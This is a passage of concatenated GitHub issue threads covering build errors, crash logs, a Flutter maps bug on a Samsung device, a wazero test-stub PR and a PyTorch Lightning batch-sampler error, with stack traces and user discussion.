  at System.IO.StreamReader..ctor (System.String path, System.Text.Encoding encoding, System.Boolean detectEncodingFromByteOrderMarks, System.Int32 bufferSize) [0x00000] in <e1319b7195c343e79b385cd3aa43f5dc>:0
  at System.IO.StreamReader..ctor (System.String path, System.Boolean detectEncodingFromByteOrderMarks) [0x0000d] in <e1319b7195c343e79b385cd3aa43f5dc>:0
  at System.IO.StreamReader..ctor (System.String path) [0x00000] in <e1319b7195c343e79b385cd3aa43f5dc>:0
  at (wrapper remoting-invoke-with-check) System.IO.StreamReader..ctor(string)
  at Microsoft.Build.Unity.ProjectGeneration.PluginAssemblyInfo.ParseYAMLFile () [0x00007] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\PluginAssemblyInfo.cs:78
  at Microsoft.Build.Unity.ProjectGeneration.PluginAssemblyInfo..ctor (Microsoft.Build.Unity.ProjectGeneration.UnityProjectInfo unityProjectInfo, System.Guid guid, System.String fullPath, Microsoft.Build.Unity.ProjectGeneration.PluginType type) [0x00032] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\PluginAssemblyInfo.cs:69
  at Microsoft.Build.Unity.ProjectGeneration.UnityProjectInfo.ScanForPluginDLLs () [0x00171] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\UnityProjectInfo.cs:336
  at Microsoft.Build.Unity.ProjectGeneration.UnityProjectInfo.RefreshPlugins () [0x00001] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\UnityProjectInfo.cs:88
  at Microsoft.Build.Unity.ProjectGeneration.UnityProjectInfo..ctor (System.Collections.Generic.HashSet`1[T] supportedBuildTargets) [0x000a2] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\UnityProjectInfo.cs:75
  at Microsoft.Build.Unity.ProjectGeneration.MSBuildTools.get_UnityProjectInfo () [0x00000] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:89
  at Microsoft.Build.Unity.ProjectGeneration.MSBuildTools.RefreshGeneratedOutput (System.Boolean forceGenerateEverything) [0x0006a] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:187
  at Microsoft.Build.Unity.ProjectGeneration.MSBuildTools+<>c.<.cctor>g__OnUpdate|18_0 () [0x00001] in H:\New Unity Project\Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:149
  at (wrapper delegate-invoke) <Module>.invoke_void()
  at UnityEditor.EditorApplication.Internal_CallUpdateFunctions () [0x00010] in C:\buildslave\unity\build\Editor\Mono\EditorApplication.cs:200

(Filename: <e1319b7195c343e79b385cd3aa43f5dc> Line: 0)

H:\New Unity Project\Assets\MixedRealityToolkit.Providers\WindowsMixedReality\DotNetAdapter> dotnet msbuild DotNetAdapter.csproj -restore  -v:minimal -p:NuGetInteractive=true  -t:Clean -p:Configuration=Release
UnityEngine.DebugLogHandler:Internal_Log(LogType, String, Object)
UnityEngine.DebugLogHandler:LogFormat(LogType, Object, String, Object[])
UnityEngine.Logger:Log(LogType, Object)
UnityEngine.Debug:Log(Object)
Microsoft.Build.Unity.<ExecuteMSBuildAsync>d__17:MoveNext() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:403)
System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1:Start(<ExecuteMSBuildAsync>d__17&)
Microsoft.Build.Unity.MSBuildProjectBuilder:ExecuteMSBuildAsync(String, String, String, IProgress`1, CancellationToken)
Microsoft.Build.Unity.<BuildProjectAsync>d__16:MoveNext() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:396)
System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1:Start(<BuildProjectAsync>d__16&)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildProjectAsync(String, BuildEngine, String, IProgress`1, CancellationToken)
Microsoft.Build.Unity.<BuildProjectsAsync>d__10:MoveNext() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:289)
System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1:Start(<BuildProjectsAsync>d__10&)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildProjectsAsync(IReadOnlyCollection`1, String, String, IProgress`1, CancellationToken)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildProjects(IReadOnlyCollection`1, String, String) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:173)
Microsoft.Build.Unity.MSBuildProjectBuilder:BuildAllProjects(String, String) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilder.cs:121)
Microsoft.Build.Unity.MSBuildProjectBuilder:TryBuildAllProjects(String, String) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectBuilder\MSBuildProjectBuilderEditor.cs:30)
Microsoft.Build.Unity.ProjectGeneration.MSBuildTools:RefreshGeneratedOutput(Boolean) (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:177)
Microsoft.Build.Unity.ProjectGeneration.<>c:<.cctor>g__OnUpdate|18_0() (at Library\PackageCache\com.microsoft.msbuildforunity@0.8.2\Editor\ProjectGenerator\Scripts\MSBuildTools.cs:149)
UnityEditor.EditorApplication:Internal_CallUpdateFunctions() (at C:\buildslave\unity\build\Editor\Mono\EditorApplication.cs:200)

Expected behavior
The editor should not get into a  compile loop if MSBuildForUnity is enabled.
Your Setup (please complete the following information)

Unity Version 2018.4.12f1
MRTK Version 2.2 prerelease

@davidkline-ms mentioned that this is a bug with MSBuildForUnity, but I wanted to create an issue to track it here so we can reference it in our repo.

A possible solution is to mention the following in the release notes:
If you are using unity remoting you need:

Latest version of remoting player from the store
Latest version of Windows Mixed Reality unity package
Your project must not have spaces

I can reproduce the errors related to a path with spaces. I cannot cause the infinite loop to reproduce.

This has been resolved with v0.8.3 of MSBuild for Unity. MRTK will serialize this version when enabling msbuild in the configuration dialog, per #6823


Fuzzer crash

Description
https://app.circleci.com/pipelines/github/facebookincubator/velox/36661/workflows/7697ce15-da02-4a51-bbeb-e182e1a3afd9/jobs/243937
Error Reproduction
No response
Relevant logs
No response

could not repro this on dev server

 switch(starts_with(to_base64url(coalesce(sha256(to_big_endian_64(day(date(2024-03-07T01:45:34.380311935)))),"c0",if(null,subscript("c1","c2"),"c3"),sha256(to_big_endian_64(day(date(2024-03-07T01:45:34.380311935)))),sha256(to_big_endian_64(day(date(2024-03-07T01:45:34.380311935)))),0h3Oq_m7>[tXMQ\]}j6GYW{M;QNVk|-L#]oWaA,null)),replace("c4",to_base64url(coalesce(sha256(to_big_endian_64(day(date(2024-03-07T01:45:34.380311935)))),"c0",if(null,subscript("c1","c2"),"c3"),sha256(to_big_endian_64(day(date(2024-03-07T01:45:34.380311935)))),sha256(to_big_endian_64(day(date(2024-03-07T01:45:34.380311935)))),0h3Oq_m7>[tXMQ\]}j6GYW{M;QNVk|-L#]oWaA,null)),"c5")),"c6",json_array_contains("c7",eq(31769,6437)),sin(0.5700796421151608),sin(0.5700796421151608))
I1025 21:00:05.905210  7389 ExpressionVerifier.cpp:86] Executing expression 1 : coalesce(slice("c8",null,null),"c9"["row_field1"],9 elements starting at 367 {[367->296] [296->593] [593->128] null, [368->429] null, [369->626] [626->535] [535->262] [262->669] [669->590] 43, [370->473] [473->338] [338->552] null, [371->595] [595->629] [629->618] [618->173] null, ...},null,"c9"["row_field1"],"c10","c11")
*** Aborted at<PHONE_NUMBER> (Unix time, try 'date -d @1698267605') ***
*** Signal 11 (SIGSEGV) (0x90) received by PID 7389 (pthread TID 0x7f255d6c05c0) (linux TID 7389) (code: address not mapped to object), stack trace: ***
(error retrieving stack trace)
/bin/bash: line 1:  7389 Segmentation fault      (core dumped) _build/debug/velox/expression/tests/velox_expression_fuzzer_test --seed ${RANDOM} --lazy_vector_generation_ratio 0.2 --duration_sec 1800 --enable_variadic_signatures --velox_fuzzer_enable_complex_types --velox_fuzzer_enable_column_reuse --velox_fuzzer_enable_expression_reuse --max_expression_trees_per_step 2 --retry_with_try --enable_dereference --logtostderr=1 --minloglevel=0 --repro_persist_path=/tmp/fuzzer_repro

Closing this since its not reproducible we hope it was solved in one of the recent changes,


fix: 修复Prometheus使用redis打点，改变label导致收集报错的问题

/assign @Reasno

[This message is created by hyperf-bot]
[APPROVAL NOTIFIER] This pull-request is APPROVED
This pull-request has been approved by: huangzhhui


google_maps_flutter 0.5.21 - blank screen on Samsung

Hi,
On an Android emulator, everything works perfectly but when I run on a real device (Samsung Note 9), Google Maps just shows a blank screen.
Console logs:
Launching lib\main.dart on SM N960F in debug mode...
Built build\app\outputs\apk\debug\app-debug.apk.
D/ViewRootImpl@291e66e[MainActivity]( 3266): Relayout returned: old=[0,0][1080,2220] new=[0,0][1080,2220] result=0x1 surface={valid=true<PHONE_NUMBER>64} changed=false
D/ViewRootImpl@291e66e[MainActivity]( 3266): ViewPostIme pointer 0
D/ViewRootImpl@291e66e[MainActivity]( 3266): ViewPostIme pointer 1
D/Dialog  ( 3266): mIsSamsungBasicInteraction = false
D/Dialog  ( 3266): mIsSamsungBasicInteraction = false, isMetaDataInActivity = false
I/zzbz    ( 3266): Making Creator dynamically
W/m_mobil( 3266): Unsupported class loader
W/m_mobil( 3266): Skipping duplicate class check due to unsupported classloader
I/DynamiteModule( 3266): Considering local module com.google.android.gms.maps_dynamite:0 and remote module com.google.android.gms.maps_dynamite:221
I/DynamiteModule( 3266): Selected remote version of com.google.android.gms.maps_dynamite, version >= 221
V/DynamiteModule( 3266): Dynamite loader version >= 2, using loadModule2NoCrashUtils
W/ChimeraDebugLogger( 3266): Singleton logger instance not set.
W/m_mobil( 3266): Unsupported class loader
W/m_mobil( 3266): Skipping duplicate class check due to unsupported classloader
I/Google Maps Android API( 3266): Google Play services client version: 12451000
I/Google Maps Android API( 3266): Google Play services package version: 17785037
W/m_mobil( 3266): Accessing hidden field Ljava/nio/Buffer;->address:J (light greylist, reflection)
W/Google Maps Android API( 3266): Deprecation notice: In a future release, indoor will no longer be supported on satellite, hybrid or terrain type maps. Even where indoor is not supported, isIndoorEnabled() will continue to return the value that has been set via setIndoorEnabled(), as it does now. By default, setIndoorEnabled is 'true'. The API release notes (https://developers.google.com/maps/documentation/android-api/releases) will let you know when indoor support becomes unavailable on those map types.
D/InputTransport( 3266): Input channel constructed: fd=148
D/ViewRootImpl@ac97cfd[MainActivity]( 3266): setView = DecorView@7ca8c43[MainActivity] TM=true MM=false
V/InputMethodManager( 3266): Not IME target window, ignoring
D/SurfaceView( 3266): onWindowVisibilityChanged(0) true 4f1873e of ViewRootImpl@ac97cfd[MainActivity]
D/ViewRootImpl@ac97cfd[MainActivity]( 3266): dispatchAttachedToWindow
D/ViewRootImpl@ac97cfd[MainActivity]( 3266): Relayout returned: old=[0,0][1080,2094] new=[0,0][1080,2094] result=0x7 surface={valid=true<PHONE_NUMBER>60} changed=true
D/mali_winsys( 3266): EGLint new_window_surface(egl_winsys_display *, void *, EGLSurface, EGLConfig, egl_winsys_surface **, EGLBoolean) returns 0x3000
D/OpenGLRenderer( 3266): eglCreateWindowSurface = 0x7947514300, 0x794868d010

Flutter doctor:
Doctor summary (to see all details, run flutter doctor -v):
[√] Flutter (Channel beta, v1.9.1+hotfix.2, on Microsoft Windows [Version 10.0.17134.1006], locale en-US)

[√] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
[√] Android Studio (version 3.4)
[√] VS Code, 64-bit edition (version 1.38.0)
[√] Connected device (1 available)

• No issues found!
PS D:\Development\MaaSplay\maasplay_mobile> flutter doctor -v
[√] Flutter (Channel beta, v1.9.1+hotfix.2, on Microsoft Windows [Version 10.0.17134.1006], locale en-US)
    • Flutter version 1.9.1+hotfix.2 at d:\flutter
    • Framework revision 2d2a1ffec9 (9 days ago), 2019-09-06 18:39:49 -0700
    • Engine revision b863200c37
    • Dart version 2.5.0

[√] Android toolchain - develop for Android devices (Android SDK version 28.0.3)
    • Android SDK at C:\Users\boeledi\AppData\Local\Android\sdk
    • Android NDK location not configured (optional; useful for native profiling support)
    • Platform android-28, build-tools 28.0.3
    • Java binary at: C:\Program Files\Android\Android Studio\jre\bin\java
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1343-b01)
    • All Android licenses accepted.

[√] Android Studio (version 3.4)
    • Android Studio at C:\Program Files\Android\Android Studio
    • Flutter plugin version 36.1.1
    • Dart plugin version 183.6270
    • Java version OpenJDK Runtime Environment (build 1.8.0_152-release-1343-b01)

[√] VS Code, 64-bit edition (version 1.38.0)
    • VS Code at C:\Program Files\Microsoft VS Code
    • Flutter extension version 3.4.1

[√] Connected device (1 available)
    • SM N960F • 290884d1d33f7ece • android-arm64 • Android 9 (API 28)

Android:
Samsung Galaxy Note 9 (SM-N960F)
One UI version  1.0
Android Version 9
Baseband version N960FXXU2CSDC
Kernel version 4.9.59-15792590

The work-around related to the fact of adding the following line to the AndroidManifest.xml file DOES NOT fix the issue.
<uses-library android:name="org.apache.http.legacy" android:required="false"/>

also just checked with version google_maps_flutter: ^0.5.21+3 and still does not work.

installation of the very last software version (01SEP2019) solved the issue

@boeledi do you mean Samsung's latest software version? Or Flutter?

Hi Sergi,
I meant the very last version of Samsung's software.
On Tue, Oct 22, 2019 at 8:47 AM Sergi Castellsagué<EMAIL_ADDRESS>wrote:

@boeledi https://github.com/boeledi do you mean Samsung's latest
software version? Or Flutter?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/flutter/flutter/issues/40529?email_source=notifications&email_token=AAX7MZDBXJDPBN655IJ3XU3QP2OXTA5CNFSM4IW3LHWKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEB4WPNI#issuecomment-544827317,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAX7MZFNQ34GJWRMB45NJFLQP2OXTANCNFSM4IW3LHWA
.

Thanks. We are experiencing a similar issue with the same device. The app is functional but the google maps widget is black.
I recommended updating Samsung's software and Google play services. I am now awaiting response if it worked or not.
Thanks again for the answer


experimental: add wazerotest package

This PR is a proposal to add experimental/wazerotest package containing stub implementations of types from the api package which are useful to construct tests.
Since https://github.com/tetratelabs/wazero/pull/1396, we added barriers for external packages to provide mocks of the wazero interfaces in contexts such as tests and benchmarks; see for example https://github.com/stealthrocket/wazergo/blob/main/wasm/memory.go
While programs can work around the limitation imposed by internalapi.WazeroOnly, doing so requires embedding the api interfaces which loosens type safety since the type inherits all the methods and therefore automatically satisfies the interface even if it intended to provide different implementations of the methods. This causes issues that are difficult to catch such as typos in the method names or mismatching method signatures.
With this change, I have also included an example of how the types could be used by adding a wazerotest.BenchmarkFunctionListener function implementing a generic benchmark for function listeners, and used in in the experimental/logging package as a demonstration.
As the amount of software depending on wazero grows, providing models for how to test code integrating with the wazero APIs is going to become increasingly relevant, and will likely result in higher software quality in the wazero ecosystem. I believe that we are already seeing the demand for it: first within wazero where we instantiate types from the internal/wasm package to construct test conditions, but also in external packages like wazergo.
Please take a look and let me know if you have any questions or feedback!

interesting and makes sense like other code that have stub/mock implementations built-in. I will give more feedback in a while.

I think I understand what's going on here. One thing I'm wondering is why this starts as experimental instead of internal first?

Ack. And I don't disagree. But part of my review will be based on how useful this is for me to delete this, even if we start with internal, I do think it's helpful if we eventually export it (without committing to a stable API, forever experimental is fine with me).

One thing I'm wondering is why this starts as experimental instead of internal first?

The reason I would like to export this type is because I have use cases outsides of wazero for it. It has to exist in wazero is because it depends on internalapi.WazeroOnlyType to implement the wazero interfaces.

Thanks @ncruces and @codefromthecrypt for the reviews!
I made the requested changes or followed up on the comments. Let me know if you have any more feedback, otherwise I will go ahead and merge 👍

I'm happy to see this merged, also @ncruces can use it also! Great job deliberating and moving forward folks!


provide build instructions.

Since the file contains a .sln, I am assuming you build it in microsoft visual studio.
"Typically each github project is provided with instructions to build/compile/run/use.
If you don't find that information, either the owner of that repository has a serious amnesia or it is not a well maintained project (Probably a good chance to start contributing to it by starting to add build/compile instructions)." Quoted from here: https://www.quora.com/How-do-I-compile-and-run-github-projects

Sorry I was being dumb. You provided the proper downloads link.

There's a case to be made for me to finally put a proper README here, but throwing insults around is usually not the best way to ask.
Yes, you build with Visual Studio. I personally used Visual Studio 2010 at the time, but if I return to it I would probably migrate it to Visual Studio 2019. Any dependencies should automatically be picked up by NuGet.
Release binaries are provided under the Releases section. AppVeyor link is there but there's no guarantee that the artifacts from the automatic builds won't have expired by now.

Yeah, sorry. I was just misunderstanding that the download link provided from the blog already took us to the proper page for download. I was looking at this page for downloading: https://github.com/gibbed/Gibbed.Borderlands2

https://github.com/gibbed/Gibbed.Borderlands2


Update kubernetes-api.md for zh

This PR is going to fix #18809 .
update kubernetes-api.md for zh.
/language zh

@huchengze Got a few minutes to address the review comments?

Sorry，I‘m a little busy these days.
I will close this pr and finish it in the end of this month.


Larger bodies cause really bad problems on OS X

I have a failing test if I can figure out how to get it attached...

Well, here I guess:  https://gist.github.com/1985365


Custom batch sampler leads to an error

Bug description
I am using a custom batch sampler with variable batch sizes. Lightning tries to read batch_sampler.batch_size parameter and fails
What version are you seeing the problem on?
v2.0
How to reproduce the bug
class BatchSamplerForPaddingHaters(Sampler):
    def __init__(self, lengths, sampler):
        self.sampler = sampler
        self.lengths = lengths
        self.batch_sizes = []

        cur_len = lengths[0]
        cur_bs = 0
        for l in lengths:
            if l != cur_len:
                self.batch_sizes.append(cur_bs)
                cur_bs = 0
            cur_bs += 1
            cur_len = l

    def __iter__(self):
        sampler_iter = iter(self.sampler)
        for bs in self.batch_sizes:
            yield [next(sampler_iter) for _ in range(bs)]

    def __len__(self):
        return len(self.batch_sizes)

class MyDataModule(L.LightningDataModule):
    def train_dataloader(self):
        train_sampler = BatchSamplerForPaddingHaters(self.train_data.lengths,
                                                          SequentialSampler(self.train_data))
        return DataLoader(self.train_data, num_workers=12,
                          prefetch_factor=256, batch_sampler=train_sampler)

    def val_dataloader(self):
        test_sampler = BatchSamplerForPaddingHaters(self.test_data.lengths,
                                                         SequentialSampler(self.test_data))
        return DataLoader(self.test_data, num_workers=2,
                          prefetch_factor=16, batch_sampler=test_sampler)

trainer_opts = {
        'accelerator': 'gpu',
        'log_every_n_steps': 1,
        'gradient_clip_val': GRAD_CLIP_VAL,
        'logger': loggers.WandbLogger(project='icat', log_model=True),
        'callbacks': [callbacks.ModelCheckpoint(monitor='val_loss',mode='min')],
        'devices': 2,
        'num_nodes': 1,
        'strategy': 'ddp'
    }

  trainer = L.Trainer(**trainer_opts)
  trainer.fit(model, data)

Error messages and logs
Traceback (most recent call last):
  File "/home/mcs001/20194474/code/mimicseq/learn.py", line 93, in <module>
    train_icat()
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/click/core.py", line 1130, in __call__
    return self.main(*args, **kwargs)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/click/core.py", line 1055, in main
    rv = self.invoke(ctx)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/click/core.py", line 1404, in invoke
    return ctx.invoke(self.callback, **ctx.params)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/click/core.py", line 760, in invoke
    return __callback(*args, **kwargs)
  File "/cm/shared/apps/Anaconda/2022.10/pth3.9/lib/python3.9/site-packages/tenacity/__init__.py", line 324, in wrapped_f
    return self(f, *args, **kw)
  File "/cm/shared/apps/Anaconda/2022.10/pth3.9/lib/python3.9/site-packages/tenacity/__init__.py", line 404, in __call__
    do = self.iter(retry_state=retry_state)
  File "/cm/shared/apps/Anaconda/2022.10/pth3.9/lib/python3.9/site-packages/tenacity/__init__.py", line 349, in iter
    return fut.result()
  File "/cm/shared/apps/Anaconda/2022.10/pth3.9/lib/python3.9/concurrent/futures/_base.py", line 439, in result
    return self.__get_result()
  File "/cm/shared/apps/Anaconda/2022.10/pth3.9/lib/python3.9/concurrent/futures/_base.py", line 391, in __get_result
    raise self._exception
  File "/cm/shared/apps/Anaconda/2022.10/pth3.9/lib/python3.9/site-packages/tenacity/__init__.py", line 407, in __call__
    result = fn(*args, **kwargs)
  File "/home/mcs001/20194474/code/mimicseq/learn.py", line 88, in train_icat
    trainer.fit(model, data)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/trainer.py", line 531, in fit
    call._call_and_handle_interrupt(
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/call.py", line 41, in _call_and_handle_interrupt
    return trainer.strategy.launcher.launch(trainer_fn, *args, trainer=trainer, **kwargs)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/strategies/launchers/subprocess_script.py", line 91, in launch
    return function(*args, **kwargs)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/trainer.py", line 570, in _fit_impl
    self._run(model, ckpt_path=ckpt_path)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/trainer.py", line 975, in _run
    results = self._run_stage()
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/trainer.py", line 1016, in _run_stage
    self._run_sanity_check()
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/trainer.py", line 1045, in _run_sanity_check
    val_loop.run()
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/loops/utilities.py", line 177, in _decorator
    return loop_run(self, *args, **kwargs)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/loops/evaluation_loop.py", line 98, in run
    self.setup_data()
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/loops/evaluation_loop.py", line 169, in setup_data
    dl = _process_dataloader(trainer, dl)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/connectors/data_connector.py", line 489, in _process_dataloader
    dataloader = trainer._data_connector._prepare_dataloader(dataloader, shuffle=is_shuffled, mode=stage)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/trainer/connectors/data_connector.py", line 200, in _prepare_dataloader
    return _update_dataloader(dataloader, sampler, mode=mode)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/utilities/data.py", line 132, in _update_dataloader
    dl_args, dl_kwargs = _get_dataloader_init_args_and_kwargs(dataloader, sampler, mode)
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/utilities/data.py", line 192, in _get_dataloader_init_args_and_kwargs
    dl_kwargs.update(_dataloader_init_kwargs_resolve_sampler(dataloader, sampler, mode, disallow_batch_sampler))
  File "/home/mcs001/20194474/.local/lib/python3.9/site-packages/lightning/pytorch/utilities/data.py", line 296, in _dataloader_init_kwargs_resolve_sampler
    batch_size=batch_sampler.batch_size,
AttributeError: 'BatchSamplerForPaddingHaters' object has no attribute 'batch_size'

Environment

Current environment
#- Lightning Component (e.g. Trainer, LightningModule, LightningApp, LightningWork, LightningFlow): Trainer, LightiningDataModule
#- PyTorch Lightning Version (e.g., 1.5.0): 2.0.3
#- Lightning App Version (e.g., 0.5.2):2.0.3
#- PyTorch Version (e.g., 2.0):
#- Python version (e.g., 3.9): 3.9
#- OS (e.g., Linux):  Linux-3.10.0-1160.83.1.el7.x86_64-x86_64-with-glibc2.17
#- CUDA/cuDNN version: 11.8.0
#- GPU models and configuration: 2 Tesla V100-PCIE-16GB
#- How you installed Lightning(`conda`, `pip`, source): pip
#- Running environment of LightningApp (e.g. local, cloud): slurm cluster

More info
No response
cc @justusschock @awaelchli

Similar issue in 1.8.4 when I try to use a custom batch sampler in predict_dataloader().

Found it! .. You didn't inherit from base class to MyDataModule class. You missed constructor which requires train_data, test_data, and batch_size arguments.
I have trained on LSTM it's work fine for me using batch sampler.
import torch.nn.functional as F
from torch.utils.data import Dataset, Sampler, SequentialSampler, DataLoader
from typing import List, Tuple
import pytorch_lightning as L
from pytorch_lightning import loggers, callbacks

GRAD_CLIP_VAL = 1.0

class MyDataset(Dataset):
    def __init__(self, data: List[Tuple[List[int], int]]):
        self.data = data

    def __len__(self):
        return len(self.data)

    def __getitem__(self, idx):
        x, y = self.data[idx]
        return torch.LongTensor(x), torch.LongTensor([y])

class BatchSamplerForPaddingHaters(Sampler):
    def __init__(self, lengths, sampler):
        self.sampler = sampler
        self.lengths = lengths
        self.batch_sizes = []

        cur_len = lengths[0]
        cur_bs = 0
        for l in lengths:
            if l != cur_len:
                self.batch_sizes.append(cur_bs)
                cur_bs = 0
            cur_bs += 1
            cur_len = l

    def __iter__(self):
        sampler_iter = iter(self.sampler)
        for bs in self.batch_sizes:
            yield [next(sampler_iter) for _ in range(bs)]

    def __len__(self):
        return len(self.batch_sizes)

class MyDataModule(L.LightningDataModule):
    def __init__(self, train_data, test_data, batch_size=32):
        super().__init__()
        self.train_data = train_data
        self.test_data = test_data
        self.batch_size = batch_size

    def prepare_data(self):
        pass

    def setup(self, stage=None):
        pass

    def train_dataloader(self):
        train_sampler = BatchSamplerForPaddingHaters(self.train_data.lengths,
                                                          SequentialSampler(self.train_data))
        return DataLoader(self.train_data, num_workers=12,
                          prefetch_factor=256, batch_sampler=train_sampler)

    def val_dataloader(self):
        test_sampler = BatchSamplerForPaddingHaters(self.test_data.lengths,
                                                         SequentialSampler(self.test_data))
        return DataLoader(self.test_data, num_workers=2,
                          prefetch_factor=16, batch_sampler=test_sampler)

class MyModel(L.LightningModule):
    def __init__(self, vocab_size: int, embedding_dim: int, hidden_dim: int, num_classes: int):
        super().__init__()
        self.embeddings = torch.nn.Embedding(vocab_size, embedding_dim)
        self.lstm = torch.nn.LSTM(embedding_dim, hidden_dim, num_layers=2, batch_first=True)
        self.fc = torch.nn.Linear(hidden_dim, num_classes)

    def forward(self, inputs):
        x = self.embeddings(inputs)
        lstm_out, _ = self.lstm(x)
        out = self.fc(lstm_out[:, -1, :])
        return out

    def training_step(self, batch, batch_idx):
        x, y = batch
        logits = self.forward(x)
        loss = F.cross_entropy(logits, y.squeeze())
        self.log('train_loss', loss)
        return loss

    def validation_step(self, batch, batch_idx):
        x, y = batch
        logits = self.forward(x)
        loss = F.cross_entropy(logits, y.squeeze())
        self.log('val_loss', loss)
        preds = torch.argmax(logits, dim=1)
        acc = torch.sum(preds == y.squeeze()).float() / y.size(0)
        self.log('val_acc', acc)
        return {'val_loss': loss, 'val_acc': acc}

    def configure_optimizers(self):
        optimizer = torch.optim.Adam(self.parameters())
        return optimizer

train_data = MyDataset([(list(range(i)), i % 3) for i in range(1, 1001)])
test_data = MyDataset([(list(range(i)), i % 3) for i in range(1001, 2001)])

data = MyDataModule(train_data, test_data)
model = MyModel(vocab_size=1000, embedding_dim=32, hidden_dim=64, num_classes=3)

trainer_opts = {
        'accelerator': 'gpu',
        'log_every_n_steps': 1,
        'gradient_clip_val': GRAD_CLIP_VAL,
        'logger': loggers.WandbLogger(project='icat', log_model=True),
        'callbacks': [callbacks.ModelCheckpoint(monitor='val_loss',mode='min')],
        'devices': 2,
        'num_nodes': 1,
        'distributed_backend': 'ddp'
    }

trainer = L.Trainer(**trainer_opts)
trainer.fit(model, data)

It works fine..

@vadim0x60
Correct way of Implementing MyDataModule :
class MyDataModule(L.LightningDataModule):
def __init__(self, train_data, test_data, batch_size=32):
        super().__init__()
        self.train_data = train_data
        self.test_data = test_data
        self.batch_size = batch_size
    def train_dataloader(self):
        train_sampler = BatchSamplerForPaddingHaters(self.train_data.lengths,
                                                          SequentialSampler(self.train_data))
        return DataLoader(self.train_data, num_workers=12,
                          prefetch_factor=256, batch_sampler=train_sampler)

    def val_dataloader(self):
        test_sampler = BatchSamplerForPaddingHaters(self.test_data.lengths,
                                                         SequentialSampler(self.test_data))
        return DataLoader(self.test_data, num_workers=2,
                          prefetch_factor=16, batch_sampler=test_sampler)

If it fixes your problem kindly close this issue !
Thank you

I do inherit from LightningDataModule. And I actually have super().__init__() in my code (though not in the simplifiedsnippet I posted here), it doesn't help. I cannot include batch_size in the constructor, because my custom batch sampler has a variable batch size.

Facing the same issue. I also have a dynamic batch size 😟

Hi everyone. If you set Trainer(use_distributed_sampler=False) you shouldn't get this attribute error, please give it a try. I've opened a PR with better error messaging that explains to the user what is happening and how they can make it work. With a custom batch sampler, you are taking away control from the Trainer and will have to handle distributed sampling correctly within your sampler (that's why the explicit use_distributed_sampler=False is necessary).

Hi, I am not sure that the problem was fixed. I still have this issue with use_distributed_sampler=False. I looked at code of _prepare_dataloader in data_connector.py and found that requires_distributed_sampler does not turn off _update_dataloader in case of prediction
            self._requires_distributed_sampler(dataloader)  # sets the distributed sampler
            or mode == RunningStage.PREDICTING  # to track indices for the predictions
            or is_ipu
        ):
            sampler = self._resolve_sampler(dataloader, shuffle=shuffle, mode=mode)
            return _update_dataloader(dataloader, sampler, mode=mode)

Hi,
I have also encountered this issue when using Trainer.predict.
@cataclysmus, have you managed to find a workaround?
@awaelchli, can this issue please be reopened, or should I open a new issue specifically for the case of using predict?

